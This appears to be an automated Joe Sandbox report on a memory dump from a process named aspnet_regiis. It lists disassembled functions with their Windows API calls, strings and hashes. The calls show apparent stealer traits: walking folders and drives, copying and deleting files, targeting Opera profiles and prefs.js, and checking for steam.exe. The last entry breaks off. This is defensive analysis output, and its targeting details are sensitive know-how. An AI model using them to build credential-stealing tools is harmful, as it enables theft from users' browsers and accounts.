Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: GlobalObject$CreateWindow$CompatibleDeleteSelectStreamlstrcpy$BitmapCloseDesktopFromInternetLockOpenRectReleaseSizelstrlen
String ID:
API String ID: 2610876673-0
Opcode ID: bda296b1393527d1300f5fae4d52867722602398b487228bc4e84d997ee74abd
Instruction ID: f6e3f0428e96004f8b83f7710fafbd9962f3d673da3a1d35a18d8dcfea6c860f
Opcode Fuzzy Hash: bda296b1393527d1300f5fae4d52867722602398b487228bc4e84d997ee74abd
Instruction Fuzzy Hash: 0251EA72800218AFDF15EFA1ED498EE7FBAFF08319F045525F901E2120E7369A55DB61

Function 00401D80 Relevance: 23.3, APIs: 12, Strings: 1, Instructions: 529fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

FindFirstFileA.KERNEL32(?,?,0043A9AC,0043A9B0,004369FA,004369F7,00417908,?,00000000), ref: 00401FA4
StrCmpCA.SHLWAPI(?,0043A9B4), ref: 00401FD7
StrCmpCA.SHLWAPI(?,0043A9B8), ref: 00401FF1
FindFirstFileA.KERNEL32(?,?,0043A9BC,0043A9C0,?,0043A9C4,004369FB), ref: 004020DD
CopyFileA.KERNEL32(?,?,00000001), ref: 004022C3

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

DeleteFileA.KERNEL32(?), ref: 00402336
FindNextFileA.KERNEL32(?,?), ref: 004023A2
FindClose.KERNEL32(?), ref: 004023B6
CopyFileA.KERNEL32(?,?,00000001), ref: 004025DC

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

DeleteFileA.KERNEL32(?), ref: 0040264F

Part of subcall function 00416E97: Sleep.KERNEL32(000003E8,?,?), ref: 00416EFE

FindNextFileA.KERNEL32(?,?), ref: 004026C6
FindClose.KERNEL32(?), ref: 004026DA

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 00416E97: CreateThread.KERNEL32(00000000,00000000,00416DC6,?,00000000,00000000), ref: 00416F36
Part of subcall function 00416E97: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F3E

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Strings

\*.*, xrefs: 00401E9E

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: File$Find$lstrcpy$Close$CopyCreateDeleteFirstNextlstrcat$AllocAttributesFolderHandleLocalObjectPathReadSingleSizeSleepSystemThreadTimeWaitlstrlen
String ID: \*.*
API String ID: 1475085387-1173974218
Opcode ID: 4a5b137c999928a75ba8bc4a6e6ab310dcd69db191c9960b432ed123b9b006a7
Instruction ID: 84c523e9d2ff6d0b2cceb644b0baa1646f1dc192954122ea0c18f52f03966360
Opcode Fuzzy Hash: 4a5b137c999928a75ba8bc4a6e6ab310dcd69db191c9960b432ed123b9b006a7
Instruction Fuzzy Hash: 6C32EC71A401299BCF21FB25DD4A6CD7375AF04308F5100EAB548B71A1DBB86FC98F99

Function 0041543D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 140stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0041546A
FindFirstFileA.KERNEL32(?,?), ref: 00415481
StrCmpCA.SHLWAPI(?,00436A80), ref: 004154A2
StrCmpCA.SHLWAPI(?,00436A84), ref: 004154BC
lstrcatA.KERNEL32(?), ref: 0041550D
lstrcatA.KERNEL32(?), ref: 00415520
lstrcatA.KERNEL32(?,?), ref: 00415534
lstrcatA.KERNEL32(?,?), ref: 00415547
lstrcatA.KERNEL32(?,00436A88), ref: 00415559
lstrcatA.KERNEL32(?,?), ref: 0041556D

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00416E97: CreateThread.KERNEL32(00000000,00000000,00416DC6,?,00000000,00000000), ref: 00416F36
Part of subcall function 00416E97: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F3E

FindNextFileA.KERNEL32(?,?), ref: 00415623
FindClose.KERNEL32(?), ref: 00415637

Strings

%s\%s, xrefs: 0041545E

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Find$CloseCreate$AllocFirstHandleLocalNextObjectReadSingleSizeThreadWaitlstrcpywsprintf
String ID: %s\%s
API String ID: 1150833511-4073750446
Opcode ID: 2e0bb3d38ea62b5c105b61d514d6becb3cb91e1da354d02d3ddcedb69e666a60
Instruction ID: 7b4a02d1ce16c29d0e311cc455c9dd4e2592c9f450b56a316f79c40a9e4a8b0e
Opcode Fuzzy Hash: 2e0bb3d38ea62b5c105b61d514d6becb3cb91e1da354d02d3ddcedb69e666a60
Instruction Fuzzy Hash: 71515FB190021D9BCF64DF60CC89AC9B7BDAB48305F1045E6E609E3250EB369B89CF65

Function 0040BF4D Relevance: 19.7, APIs: 7, Strings: 4, Instructions: 420fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,\*.*,0043682E,0040CC6B,?,?), ref: 0040BFC5
StrCmpCA.SHLWAPI(?,00437470), ref: 0040BFE5
StrCmpCA.SHLWAPI(?,00437474), ref: 0040BFFF
StrCmpCA.SHLWAPI(?,Opera,00436843,00436842,00436837,00436836,00436833,00436832,0043682F), ref: 0040C08B
StrCmpCA.SHLWAPI(?,Opera GX), ref: 0040C099
StrCmpCA.SHLWAPI(?,Opera Crypto), ref: 0040C0A7

Strings

Opera, xrefs: 0040C083
Opera GX, xrefs: 0040C091
Opera Crypto, xrefs: 0040C09F
\*.*, xrefs: 0040BF73

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FileFindFirstlstrlen
String ID: Opera$Opera Crypto$Opera GX$\*.*
API String ID: 2567437900-1710495004
Opcode ID: aa36165faac966798846ca3c9bce9657deccde8570b813cc5940d77252a91f8b
Instruction ID: c4b769843fd96ba5a9993bec0907288b27e6520762e28c1f4f52d27b6ca0eed4
Opcode Fuzzy Hash: aa36165faac966798846ca3c9bce9657deccde8570b813cc5940d77252a91f8b
Instruction Fuzzy Hash: 0E021D71A401299BCF21FB26DD466CD7775AF14308F4111EAB948B3191DBB86FC98F88

Function 00415142 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 146stringCOMMON

Download Yara Rule

APIs

GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 004151C2
_memset.LIBCMT ref: 004151E5
GetDriveTypeA.KERNEL32(?), ref: 004151EE
lstrcpyA.KERNEL32(?,?), ref: 0041520E
lstrcpyA.KERNEL32(?,?), ref: 00415229

Part of subcall function 00414CC8: wsprintfA.USER32 ref: 00414D1C
Part of subcall function 00414CC8: FindFirstFileA.KERNEL32(?,?), ref: 00414D33
Part of subcall function 00414CC8: _memset.LIBCMT ref: 00414D4F
Part of subcall function 00414CC8: _memset.LIBCMT ref: 00414D60
Part of subcall function 00414CC8: StrCmpCA.SHLWAPI(?,004369F8), ref: 00414D81
Part of subcall function 00414CC8: StrCmpCA.SHLWAPI(?,004369FC), ref: 00414D9B
Part of subcall function 00414CC8: wsprintfA.USER32 ref: 00414DC2
Part of subcall function 00414CC8: StrCmpCA.SHLWAPI(?,0043660F), ref: 00414DD6
Part of subcall function 00414CC8: wsprintfA.USER32 ref: 00414DFF
Part of subcall function 00414CC8: _memset.LIBCMT ref: 00414E28
Part of subcall function 00414CC8: lstrcatA.KERNEL32(?,?), ref: 00414E3D

lstrcpyA.KERNEL32(?,00000000), ref: 0041524A
lstrlenA.KERNEL32(?), ref: 004152C4

Strings

%DRIVE_FIXED%, xrefs: 00415230
%DRIVE_REMOVABLE%, xrefs: 00415215
*%DRIVE_FIXED%*, xrefs: 0041515E
*%DRIVE_REMOVABLE%*, xrefs: 0041518F

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: _memset$lstrcpywsprintf$Drive$FileFindFirstLogicalStringsTypelstrcatlstrlen
String ID: %DRIVE_FIXED%$%DRIVE_REMOVABLE%$*%DRIVE_FIXED%*$*%DRIVE_REMOVABLE%*
API String ID: 441469471-147700698
Opcode ID: c6a03fd65228155c95557e0964fe3535a0c6996c33cf50c77044e9ee4d403a5c
Instruction ID: 002cc7b8fd832fc02ac953dee8a9373947a5751985c47ec76440b2e4c0201c02
Opcode Fuzzy Hash: c6a03fd65228155c95557e0964fe3535a0c6996c33cf50c77044e9ee4d403a5c
Instruction Fuzzy Hash: 1B512DB190021CAFDF219FA1CC85BDA7BB9FB09304F1041AAEA48A7111E7355E89CF59

Function 0040D5C6 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 229fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,00437570,004368A3,?,?,?), ref: 0040D647
StrCmpCA.SHLWAPI(?,00437574), ref: 0040D668
StrCmpCA.SHLWAPI(?,00437578), ref: 0040D682
StrCmpCA.SHLWAPI(?,prefs.js,0043757C,?,004368AE), ref: 0040D70E

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

CopyFileA.KERNEL32(?,?,00000001), ref: 0040D7E8
DeleteFileA.KERNEL32(?), ref: 0040D8B3
FindNextFileA.KERNELBASE(?,?), ref: 0040D956
FindClose.KERNEL32(?), ref: 0040D96A

Strings

prefs.js, xrefs: 0040D702

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextSystemTimelstrlen
String ID: prefs.js
API String ID: 893096357-3783873740
Opcode ID: 41633527efff258655262d476ebd01a72874a665415db562b1b65d312d844474
Instruction ID: 927356911e44c3405f4de0d2be1bd74ddf2f7452577bbc1ac17ea627ea54bfb8
Opcode Fuzzy Hash: 41633527efff258655262d476ebd01a72874a665415db562b1b65d312d844474
Instruction Fuzzy Hash: 38A11C71D001289BCF60FB65DD46BCD7375AF04318F4101EAA808B7292DB79AEC98F99

Function 0040B5DF Relevance: 13.7, APIs: 9, Instructions: 217fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,00437424,00436822,?,?,?), ref: 0040B657
StrCmpCA.SHLWAPI(?,00437428), ref: 0040B678
StrCmpCA.SHLWAPI(?,0043742C), ref: 0040B692
StrCmpCA.SHLWAPI(?,00437430,?,00436823), ref: 0040B71F
StrCmpCA.SHLWAPI(?), ref: 0040B780

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 0040ABE5: CopyFileA.KERNEL32(?,?,00000001), ref: 0040AC8A

FindNextFileA.KERNELBASE(?,?), ref: 0040B8EB
FindClose.KERNEL32(?), ref: 0040B8FF

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFind$lstrcat$CloseCopyFirstNextlstrlen
String ID:
API String ID: 3801961486-0
Opcode ID: c2ed2a2b921503af2e1bda992e97388ccf911cd7dd1c3e3f35522dbd33dae0d6
Instruction ID: de252c0fab1b0e9a2d3383b13184952b75e93cbc882370f7403094166be9312a
Opcode Fuzzy Hash: c2ed2a2b921503af2e1bda992e97388ccf911cd7dd1c3e3f35522dbd33dae0d6
Instruction Fuzzy Hash: 7E812C7290021C9BCF20FB75DD46ADD7779AB04308F4501A6EC48B3291EB789E998FD9

Function 004124A8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 39processCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 004124B2
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004124D4
Process32First.KERNEL32(00000000,00000128), ref: 004124E4
Process32Next.KERNEL32(00000000,00000128), ref: 004124F6
StrCmpCA.SHLWAPI(?,steam.exe), ref: 00412508
CloseHandle.KERNEL32(00000000), ref: 00412521

Strings

steam.exe, xrefs: 004124B7, 00412500

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prolog3_catch_HandleNextSnapshotToolhelp32
String ID: steam.exe
API String ID: 1799959500-2826358650
Opcode ID: 3cb6e8a710d4498e8812abe57448e33dc0f290ad47eb1370d56b55ec382773d2
Instruction ID: 012bf4d8d1ff090a25d7979138f5f9e06e77e1c880a3c2a583d4811a910fbd8f
Opcode Fuzzy Hash: 3cb6e8a710d4498e8812abe57448e33dc0f290ad47eb1370d56b55ec382773d2
Instruction Fuzzy Hash: 17012170A01224DFDB74DB64DD44BDE77B9AF08311F8001E6E409E2290EB388F90CB15

Function 00410DDB Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 82memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

GetKeyboardLayoutList.USER32(00000000,00000000,0043670D,?,?), ref: 00410E0C
LocalAlloc.KERNEL32(00000040,00000000), ref: 00410E1A
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 00410E28
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,00000000), ref: 00410E57

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

LocalFree.KERNEL32(00000000), ref: 00410EFF

Strings

/ , xrefs: 00410E73

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
